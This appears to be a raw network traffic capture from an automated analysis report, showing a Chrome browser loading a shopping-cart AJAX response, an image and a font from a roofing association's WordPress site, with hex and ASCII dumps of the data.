2024-04-23 14:53:53 UTC	8192	IN	Data Raw: fb cc 7c ba fe 82 88 b6 8e 55 bb b5 d8 a7 9d 86 ed 9a ed 00 98 5a b2 73 5b b3 d9 39 1c 9e 6f 39 3a da f9 64 ed e6 26 9d 7c f4 e9 73 b2 75 36 d1 c9 df 76 4d 15 17 e3 6d b5 4c 65 d2 e0 d1 96 fb 01 6e c4 4a ec c1 cd f7 fa b7 49 9e fd f9 a6 41 6f a6 9f 9a e1 d8 37 aa dd 45 1d 5b 9d 13 7d 2f 6e 3c 3b 63 97 6f 9f bb 87 44 a5 a2 90 e4 d8 da 17 2e 96 28 a6 cb e7 2c 4d d7 66 1e ec 89 6d ad 28 5f 25 49 a2 cc 94 9a 52 b9 b0 4b 16 4d 1d 6d 01 f3 ec e9 0b 1e eb 6d 42 45 49 5a 52 89 52 42 aa 24 23 1e 97 a6 47 1f 80 d3 32 4c c8 4c 4c d8 f3 26 9f 4d 9c f1 56 4c 00 11 20 2b 10 57 ee 1c e4 60 99 02 05 e4 e7 ae ed 9d 22 42 4d 7d fc a6 bf 25 78 12 d3 00 90 10 c2 0b 1a bd 16 6b bc 42 b9 10 40 94 fb 6e 94 ea 4e 35 3e 3b d6 e0 e5 fa 1f 2b ea bc 97 a3 f3 fe 8b cd f7 fc e7 6f cd Data Ascii: \|UZs[9o9:d&\|su6vMmLenJIAo7E[}/n<;coD.(,Mfm(_%IRKMmmBEIZRRB$#G2LLL&MVL +W`"BM}%xkB@nN5>;+o
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: ac c6 16 e8 cc ae 81 63 da 92 c4 d7 51 2c 21 57 d0 64 c9 e1 35 4c 8d ec 96 ef 1e 02 84 cb 12 00 01 57 ad 48 d5 e2 b9 0d 2b 13 04 28 33 d6 0c d3 df f4 4d cf f3 56 c4 c0 12 28 c4 00 3f b0 ae ff 00 33 c8 82 22 6c b6 db 79 f5 d8 8f 32 4c 1d ee c1 5d de 1d c2 24 90 00 91 df a4 fc cb 7a 3d 6a 1f c5 bb 90 a4 15 1e ed e7 45 7e 33 67 04 ed 79 3f 44 70 3d 2f 95 f4 bc de 6d a6 79 69 0a 9e d7 cc 99 a9 76 90 90 69 26 5a 5e fe cd b7 3f 99 71 28 27 aa 2e 63 5b a2 c1 a0 89 c6 b6 04 a2 35 96 b6 5a 85 6d f0 51 9a e4 96 2a 48 9d c5 98 e9 0b 37 db 6a 61 57 23 73 95 a5 33 a9 72 85 29 46 9b a7 0e 7b 20 df a2 0c 94 3b 91 60 bd be ed fe 07 d0 73 2d e1 71 bd 74 65 f3 48 ef 51 d5 e4 57 b6 84 bb d2 7a 6e 07 72 fe 4f 22 8e 9e 63 6d 5c 4c d9 cb 70 d2 5c ed 7f d2 bc 8d 33 c6 bf 07 a7 Data Ascii: cQ,!Wd5LWH+(3MV(?3"ly2L]$z=jE~3gy?Dp=/myivi&Z^?q('.c[5ZmQ*H7jaW#s3r)F{ ;`s-qteHQWznrO"cm\Lp\3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49853	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	669	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:54 UTC	539	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:54 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: MISS
2024-04-23 14:53:54 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49855	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	683	OUT	GET /wp-content/uploads/2017/04/135083026.png?id=57 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: image/png Content-Length: 109011 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:33:08 GMT ETag: "1be1bec-1a9d3-5d9f3e2bef900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:53 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 f4 00 00 02 ee 08 03 00 00 00 6f ad 14 d8 00 00 01 d7 50 4c 54 45 47 70 4c fe fe fe f8 f7 f6 e9 e1 db de d6 d3 ee eb e9 a2 95 8f d6 c0 b8 e3 d3 d0 9b 83 78 c3 b3 b0 d5 b9 a4 de c7 bd 78 00 24 70 00 20 e2 cd c2 8b 02 2f e6 c2 b9 ad 89 5c d7 bd ad e9 dc d9 4c 3d 3c 6a 00 1e dc c4 b5 d1 af 9c 82 02 29 94 02 32 e2 cf c8 2c 1a 22 b7 92 84 4f 0c 25 c5 a7 9c 9c 02 35 63 01 1c a5 03 3a 91 6e 44 ae 86 77 59 3e 5a db c0 ae 86 43 63 ea d6 d0 6a 49 43 7a 34 4f ff e5 58 c8 15 4e 40 26 2c ea cf ca d1 b4 ab 0f 08 0d 60 18 33 3f 16 28 dd af a7 ff d4 07 9d 52 74 ff e2 4b 19 15 1b 76 90 bd 75 5c 55 d5 af c0 85 64 3b 63 26 41 b4 8f 60 76 50 76 c6 9a 8e 18 23 3c 7a 5e 3a bd 98 69 38 31 47 a6 80 51 b6 05 44 66 33 4f 78 Data Ascii: PNGIHDRoPLTEGpLxx$p /\L=<j)2,"O%5c:nDwY>ZCcjICz4OXN@&,`3?(RtKvu\Ud;c&A`vPv#<z^:i81GQDf3Ox
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: f3 0b 30 dd 5c 67 57 4c b7 d8 c2 4e 18 66 4f 6a 26 e5 59 f6 78 96 53 90 ed 14 04 dc 23 b0 13 77 1b 3d 39 ab 2e ed 80 3c c2 42 0a 6b 29 01 48 37 f5 7b 80 78 07 d4 57 4f 82 ee 0a 72 b8 73 11 07 a0 1e e8 1f 08 88 c6 07 9e 8d bc e5 ca e1 e2 8b 4d 45 6b 35 c2 72 c0 3e a7 65 7e 2d 06 d9 3f c1 9d 5b 55 3e fc 95 42 04 f2 5e 4f 4f 0e 98 37 a4 68 97 19 55 8b 7d c6 ea e7 48 84 bf 9f 48 85 2c ea 20 33 13 b5 2a 15 88 7b cc 37 5a 80 6f c0 31 a0 f9 e5 fd a4 30 1f 81 01 42 8b 4f fc 91 49 05 3b 5e 09 f4 40 0f 20 2b c7 3f 3b c0 7d 14 c0 3c 47 9e 6f 16 f3 b9 a0 24 86 ad ec f3 08 87 9b 0c d4 3f 41 e2 77 a8 eb 16 bc 74 df 35 d0 9d 66 e0 1c 89 4c 27 2e 46 a8 d8 9a 64 b7 c0 2d ab f3 80 eb 26 3a ef e0 b9 0d 3e 1e e2 b4 50 5d 44 11 bd d9 a1 e5 d5 f9 26 fa 1d a0 af 06 dc 81 7a 86 Data Ascii: 0\gWLNfOj&YxS#w=9.<Bk)H7{xWOrsMEk5r>e~-?[U>B^OO7hU}HH, 3*{7Zo10BOI;^@ +?;}<Go$?Awt5fL'.Fd-&:>P]D&z
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: cd e4 94 8d fd 98 62 32 73 fd 80 1a 62 40 f7 ab 59 78 ae dd bd e6 4e fd 3d c5 9e ca c4 fe 88 1e ad 05 e0 b9 37 63 9e d5 dc e2 7f 59 a8 dd 24 d3 ed f6 f2 e5 22 f8 65 11 44 7f 28 16 bd 88 8b 1d 30 14 eb 31 96 4b 6d 29 d5 eb 43 51 38 e9 82 ba b5 b5 c1 c2 98 4d 6e d9 36 85 90 88 e1 e0 9a b9 25 72 31 f1 12 0b 86 38 96 98 61 4b 15 a4 3d e5 76 ab 1b 7a 30 ba 7e 41 d3 76 36 43 c2 83 0b 0c a0 3b 1a a0 fb 1d 89 27 de 1f 53 f8 da 0a a6 eb 5b a9 6d 8b f9 eb 5d 1d ef 88 39 27 18 d1 85 87 4c d0 0e 23 54 df 4a d4 ef 9b 42 40 b8 91 d9 d8 50 ab 85 98 03 01 17 17 76 82 61 6e ee ea 8f a8 99 15 7f 4b 22 a3 48 ce 6b d2 d5 95 7b 18 69 cb a8 ce 38 71 dd c1 72 47 20 d0 2c eb 0a d8 18 d9 eb de f6 e3 a0 fb d4 4b db 4f 8c 5f 60 d2 1f be bb b7 ff 21 30 5f cb c7 38 6a c7 96 1e 63 e4 Data Ascii: b2sb@YxN=7cY$"eD(01Km)CQ8Mn6%r18aK=vz0~Av6C;'S[m]9'L#TJB@PvanK"Hk{i8qrG ,KO_`!0_8jc
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: ca be ed cf e6 ba 16 62 61 53 54 43 3c a8 43 ae 09 bb ee c6 a9 df b8 b4 71 09 5e cf 49 c4 e5 ef e5 df ec 2e 72 c4 f6 09 f6 d2 5f ee be f6 36 72 b4 ea 28 b2 8f 8f a3 e8 8a b0 fd 8f d6 2f bd ad c6 16 e7 b9 7f ff f9 a5 a1 fb f8 f5 87 28 c4 3d fe f4 d2 73 11 e7 1e c5 75 e6 60 7b 96 9f 4c 3c f1 5f ed 9e f7 17 9c 16 b5 b7 4b dc 27 ad 1d 5d 3c 38 49 c7 47 4b 90 33 5e 3b 7d e3 d2 a5 27 2f 87 f7 60 5b e0 a9 53 c7 b1 cb 62 74 08 78 9f e8 38 41 87 b1 a3 ed c4 23 fc 78 2f 9e 3d 77 90 ab 62 3b ee 7e b3 ef cb 22 0a 39 78 a2 c8 f3 7c 6c 01 cd 4f 6e b7 e6 b1 4b 5c be 3f 47 4b ae 91 dc a5 21 1e d4 50 96 97 cb 55 e2 3c 5f 41 d9 47 63 63 d7 8c 2d 2a bb e5 92 f9 3c fe 66 96 69 90 b8 4f f8 a7 e6 9f 75 5f cb 66 14 da 24 fa 78 d9 c0 cb 97 58 85 fb 23 c9 fc f6 1d d1 a8 2d 6e 8b Data Ascii: baSTC<Cq^I.r_6r(/(=su`{L<_K']<8IGK3^;}'/`[Sbtx8A#x/=wb;~"9x\|lOnK\?GK!PU<_AGcc-*<fiOu_f$xX#-n
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 52 86 ee eb a0 11 d3 c1 f2 78 f4 cc 1a 78 0e 99 8c f0 a2 fd d9 93 60 30 f8 cc 8d 72 cd d3 07 cf 44 60 27 d8 93 5b 1f 7f 9e ba 2a 40 3f bb 76 a9 30 73 76 7a 3a da 18 68 98 00 fa a7 e8 e4 5c ef 04 62 9a 4b 80 0e f8 2e 00 aa 25 d7 89 e1 3f 0c 06 2c a0 ea e6 ee 17 80 00 07 74 0d fe 87 31 97 c0 93 e6 54 67 39 4b 86 de e8 d0 6c cc 56 ae 8a 12 f1 5e 5c 74 c1 49 91 8a 9e f4 b2 07 b9 a2 46 2e 40 98 27 9a 70 ee 53 fe 1a f7 59 a8 e6 7e 7b 84 d7 33 51 22 17 88 22 e6 1f d0 00 1d 7e a4 cf a9 0a bf 8e c2 4d a4 50 df 69 11 53 d2 39 73 b2 76 ff 2d 8b 47 b0 12 c9 db 77 0c 9c e7 dc 74 62 bc 1c 61 1d b8 f3 50 68 4f 60 d6 09 73 2f 0f 79 a4 51 0e 2f 03 f0 39 31 ae fe cd 37 1c d0 59 32 fe 0d 4d b3 3d 67 d0 9f 62 42 7b e3 99 f2 b2 32 78 52 59 5d 7c 04 33 0f 82 e4 1d c5 40 27 50 Data Ascii: Rxx`0rD`'[*@?v0svz:h\bK.%?,t1Tg9KlV^\tIF.@'pSY~{3Q""~MPiS9sv-GwtbaPhO`s/yQ/917Y2M=gbB{2xRY]\|3@'P
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 87 8f 5f 7e cc c8 f0 b5 1f 26 72 3d d9 bb 65 14 e3 6c 78 19 ff 93 a9 f7 a4 36 3e fa 2e 65 4a 22 3f 24 2a b1 3f f1 0f fa ac 93 6b 74 7c d5 78 3d 81 ec 9d b9 2b 66 47 4a c3 84 83 1a 3f bd 90 a0 d7 42 88 e8 95 6c a7 5a 26 09 60 93 29 a6 9b b9 74 e0 8e 10 16 32 3a b7 3b 94 e4 ab f5 0b cb 5e b1 37 89 23 d0 79 d1 fd 0b df 0e 2d c3 46 d4 f7 3b aa b1 b3 d8 0e 57 61 91 ba d3 ce 45 9b 1e cf e9 30 8e be 2a 77 4f 2b d8 52 4f a0 7b 9a 04 7a 2b d4 42 1a 58 c7 4a f5 b4 9b 44 07 cf c3 f9 7c c1 03 91 1f 65 06 67 cc f0 b2 40 5b f7 ef 70 ef e3 3c aa 3c 2a f6 3e 48 61 41 83 05 2f a6 da 1e 33 de d4 42 e5 29 e5 c7 c6 c0 2a 8d ac 92 91 7f f7 2d 55 ea 5f 63 31 9b 93 04 71 80 b9 5b c1 9e 19 06 1d 98 7b ad e1 99 c2 e0 c7 8c a3 5f bf 54 7d ef 22 3e 2e 8c bd cb 7b ff 53 8f a1 cb 12 Data Ascii: _~&r=elx6>.eJ"?$?kt\|x=+fGJ?BlZ&`)t2:;^7#y-F;WaE0wO+RO{z+BXJD\|eg@[p<<>HaA/3B)-U_c1q[{_T}">.{S
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: de 20 2d 4b 74 63 e5 b9 fb d8 0f 36 ce 0c 94 a3 a3 33 3b d4 e3 8b 8c 1c 2b e9 e3 df 02 e8 7a 50 1f 37 d8 90 fa ea 96 1f fa f6 a1 6e 48 1f 92 f6 4d a8 cb 04 4e bc c3 eb 7b 82 fa 67 cd 63 0f 7a 89 e8 2b 37 e1 d1 43 65 08 f8 97 69 97 2e c9 41 5e c4 20 fe d9 0a d5 2a ce 84 36 0b cd 29 6a b8 17 79 b4 58 0a fe 92 cc 7b 96 db a6 11 77 b4 19 f3 4d 11 3c c4 8b 11 b2 33 f8 c0 46 a0 a7 b1 36 a0 49 22 ff 04 3a 0b c8 4c f5 82 0e fa 7b 0f e6 b6 3c 98 ae 69 b8 77 5a d4 42 99 9d 27 22 f3 38 fa 06 78 f1 11 b6 74 b7 12 5c 95 89 5c 95 2d 7d 58 cf e4 46 0a 27 3b 3b 27 4e 6b d0 3d b1 f1 c4 fe c0 fe 0c b7 07 40 df 74 2f 82 e0 86 c2 2b 7a e3 79 7b 65 30 12 f9 9f e1 e3 e1 19 a5 f2 db 00 9d 0f 6d e3 c6 46 dd 71 d3 0f bb 6b 97 f4 c3 f4 78 6e 9c d9 64 2d 4e a6 74 54 89 fd f1 f6 6a Data Ascii: -Ktc63;+zP7nHMN{gcz+7Cei.A^ *6)jyX{wM<3F6I":L{<iwZB'"8xt\\-}XF';;'Nk=@t/+zy{e0mFqkxnd-NtTj
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 82 01 8d f2 f7 7e a5 bb 42 5e 7e 79 ab 27 76 4a 06 b9 f8 51 6e 37 92 19 9c c1 b4 1c c2 50 21 97 4f 63 ea 14 19 c4 41 a4 13 49 86 a0 8f 53 22 ed 32 fc 46 32 f8 2e 16 7b 27 0a 8e 7c 02 c5 c3 56 de c7 ed 17 84 f0 c4 6b 61 89 af d4 e7 f4 42 bc b9 ed 28 98 bb 47 33 b2 24 07 8d 2e 5a fa 14 40 ef 45 4d d0 27 1c c3 fe 9d a0 37 f2 ca d2 9f f2 fe 0d 6b 92 46 be 9a da 2b e3 a2 a9 e0 fa cc 83 d5 ab b6 d8 e2 a2 cd b6 e8 94 09 9b ed bb 9b 7a 8b 22 a6 10 7f 24 63 d6 05 36 e1 1f 68 63 67 e1 66 1b 1f ee cc 98 a7 2d 0b 43 3b 33 83 7a 5d 7d fa 09 4a 8a 6b 47 ef 20 6e 8e 86 da 3a 7a 21 2c 9f e3 65 70 b7 ee ec 14 ee 42 ad a1 59 38 36 ce 37 9f bf 4f 08 cf af 90 37 e3 60 18 8d da ca ce 71 83 9a d6 78 9e 34 b6 92 06 84 54 ab b2 18 3f a6 b6 da c8 fa 4a df 6c b4 4b 60 82 3e a6 d2 Data Ascii: ~B^~y'vJQn7P!OcAIS"2F2.{'\|VkaB(G3$.Z@EM'7kF+z"$c6hcgf-C;3z]}JkG n:z!,epBY867O7`qx4T?JlK`>
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: c1 60 e7 28 86 06 c9 ae bc ee 71 fd 10 94 63 67 95 5f 36 df 53 a4 e3 ac 5d 41 18 8e c9 ba cc a4 16 cb 55 49 9c 00 5a 07 e8 46 98 8a ab c1 59 2a 3a 36 e2 65 2e c1 75 40 4b 79 42 fa f8 d3 67 6f 9e 69 8d 87 22 ce 9e 92 f7 22 29 44 69 82 9e a5 47 9f d0 ea a9 a3 7a d0 86 24 1e 9c c0 50 e4 39 06 55 14 28 df ef 84 70 54 db cc 93 c2 84 2f ac cd c3 14 ec 52 89 3c e5 1c 00 3a dd fb 94 6c 46 4e 51 79 b5 7b a9 40 07 93 df b7 8b 80 fc c9 93 65 26 6d 68 cc 2c bf c5 c2 32 ac 1c 9f 82 18 ba 43 aa 60 88 f4 4d 2f ab dc 9d 78 7b 88 39 de 89 85 9b 1b d1 82 bb 6e bf 9b 05 ba 36 75 29 d5 e7 47 fe 12 18 3c ba fa 63 ab 06 bd 32 f1 a8 88 86 49 48 28 9c b9 bc ee d1 7c 24 12 7d df f1 23 c9 43 41 47 4b 87 a7 8f e6 7e 69 b7 7f 79 5e 04 e8 bd f6 4e 71 3f f6 eb 51 74 fd 99 92 74 3a 3d Data Ascii: `(qcg_6S]AUIZFY*:6e.u@KyBgoi"")DiGz$P9U(pT/R<:lFNQy{@e&mh,2C`M/x{9n6u)G<c2IH(\|$}#CAGK~iy^Nq?Qtt:=
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: e5 a6 d6 2e 41 3f af 34 4a e7 c5 93 39 a9 d2 73 50 d7 5d d7 86 2e e4 63 e9 26 40 f7 86 68 e9 0d e4 e8 b2 45 e1 0d 76 de cf 1c cd 44 c1 75 15 00 dc 87 50 69 12 8d 07 ee e2 82 f9 13 7d 97 10 99 e4 a6 92 49 80 0e 4b cf f7 db ed ae 57 18 44 79 83 03 c6 ef 78 46 1d 55 e7 d9 92 23 cb 6d a3 e0 6a b8 ae 7d b9 a0 5f 53 19 9c 8c 56 87 4a 36 c5 eb ef 1c 00 6e ed 46 2d 9a 09 9c c7 7e 71 e4 66 17 09 98 e9 11 b3 13 7b b7 08 3d d4 60 23 08 9a ce 93 74 19 ab 8d 41 18 7b 6c 7d 0c 3c 92 54 66 4c 53 9a 6d 8c fd 0e 44 61 08 74 70 87 62 22 0c 29 be d3 dc 6a d4 31 a6 43 ba c6 5c 44 1d f0 c2 d1 69 23 51 64 48 87 78 fa d8 7e 67 3f f6 ec be 69 e8 88 08 b5 66 b3 54 ca 44 1a 88 16 18 99 b9 f1 24 4a ba 82 2f 71 e1 78 2b 06 cc 31 39 83 79 b3 15 eb ab 66 87 08 e0 d7 40 12 3a b5 c6 6d Data Ascii: .A?4J9sP].c&@hEvDuPi}IKWDyxFU#mj}_SVJ6nF-~qf{=`#tA{l}<TfLSmDatpb")j1C\Di#QdHx~g?ifTD$J/qx+19yf@:m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49854	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	1028	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-brands-400.woff2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: font/woff2 Content-Length: 75368 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e26a7-12668-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:53 UTC	7649	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 26 68 00 0d 00 00 00 01 fe 28 00 01 26 0c 01 4a 7f 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 8b 32 11 08 0a 87 a4 6c 85 da 76 01 36 02 24 03 8d 50 0b 86 6a 00 04 20 05 8b 05 07 a8 47 5b df 94 71 27 d6 40 76 ca 1e 16 56 ea c6 80 32 32 fd 9d db 2e 34 cd 64 ba b9 53 6e 87 db f3 a2 e6 8e 82 e3 3a 6c 1c c0 66 96 a6 b2 ff ff ff ff fc a4 11 63 db 26 6c ff 1c 02 aa 61 94 55 55 d2 b0 08 59 05 e6 34 c3 09 ec 20 6c f4 29 0d 13 d2 50 33 9b ce b2 49 8f 61 a9 c2 5a 93 9c 31 63 93 7d de ce 68 dc 75 17 17 b2 30 59 98 8c 05 fd a4 e2 62 9f 62 36 6c b3 0d 9b 6c b2 95 61 d8 be e6 66 51 a7 b9 8a ef e3 9d 5f 0a 9d f7 d1 05 8b ba 0c b7 8c a7 49 c3 ea 01 ab 57 18 37 65 6d dd 73 88 fe f6 ee b0 11 Data Ascii: wOF2&h(&J\|?FFTM`2lv6$Pj G[q'@vV22.4dSn:lfc&laUUY4 l)P3IaZ1c}hu0Ybb6llafQ_IW7ems
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: da 10 52 8d aa 61 8c b8 35 32 fc 47 01 d5 0f 24 58 04 19 bb 53 43 98 4f c4 ec 80 c1 87 cb 29 c9 50 dd 05 a6 55 31 8b e6 65 a6 2b 95 9e 84 12 96 df 78 57 0a 2a ac 90 0d cc 81 aa 00 ce 39 79 4f a0 41 5c e4 39 14 85 19 00 a8 b8 7b ff 7d 08 90 73 32 04 f2 1a 8e 20 54 ea 01 38 81 d1 1e 65 29 b9 7f 7c 70 0a 15 37 1e 9b 5d 47 ee cd e6 18 91 d9 15 32 0a 86 1e 06 a5 bd a6 c0 e9 d0 1e 39 72 00 62 38 42 d1 21 84 b3 1f bb 0c a4 4e 18 5c da c8 d5 32 cf e4 75 41 dd 86 89 fe ca 76 08 46 ec 5a 04 02 a7 c8 0f 06 3a 53 d5 68 71 52 9c 58 b7 95 62 fc b9 3c 91 9f 0c 9c b8 50 da 81 5c 18 51 92 0d ac 56 90 3b 87 45 2f 83 dd fe 2e fd a5 c2 a3 05 3d 37 57 41 7f 7c 32 8a c0 2b ed 36 d5 52 65 af c3 48 4b a7 a8 1a 4d 2b 5d ee 49 23 df af 01 58 a6 a9 10 9b 79 a0 4d 73 05 62 c1 68 45 Data Ascii: Ra52G$XSCO)PU1e+xW*9yOA\9{}s2 T8e)\|p7]G29rb8B!N\2uAvFZ:ShqRXb<P\QV;E/.=7WA\|2+6ReHKM+]I#XyMsbhE
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 56 3d 75 76 2c f3 0a b9 3c 61 5c 7b 43 4c b5 3f 50 d4 9e 94 74 ef a1 70 55 f3 43 ee 34 c5 3d 43 03 ee 43 18 81 10 0a f0 60 48 d0 1a 95 69 69 63 19 1d 90 37 f1 63 bc 05 56 87 88 19 1c 4a 32 7b 15 93 d0 c4 69 d2 8d f0 e9 1a c6 47 8d 55 b9 6c 3e eb 39 69 f2 70 df e2 46 68 dc 64 6b f8 28 ab 56 14 b4 bf 70 75 63 38 37 f7 89 8f f8 ab e2 59 0d 77 4c 48 d9 00 41 4e c7 40 b5 61 7f bd a1 2a 4d 83 b7 49 cd 9e 33 5f 4a 2f b0 49 e5 4e 6e 30 db dd ff 9c 2b df b2 db 07 d2 2c e9 40 d4 dd 1c 77 06 91 51 03 d6 f2 1c 45 8d a0 b0 50 a0 2e 26 cb 43 d6 a6 88 8a 55 ee 80 c4 d2 64 26 eb 84 41 2f 08 1a 0a 65 d6 02 4d cb 22 54 91 c5 13 e3 c1 21 e0 4a 0d b5 ed 19 36 46 b6 67 19 db 60 4a 79 ec 7d 92 3a 12 0e b0 62 2a 2f 9b 0e 15 25 71 51 00 64 55 81 04 c9 24 b2 48 d1 e2 c5 df f4 85 Data Ascii: V=uv,<a\{CL?PtpUC4=CC`Hiic7cVJ2{iGUl>9ipFhdk(Vpuc87YwLHAN@aMI3_J/INn0+,@wQEP.&CUd&A/eM"T!J6Fg`Jy}:b/%qQdU$H
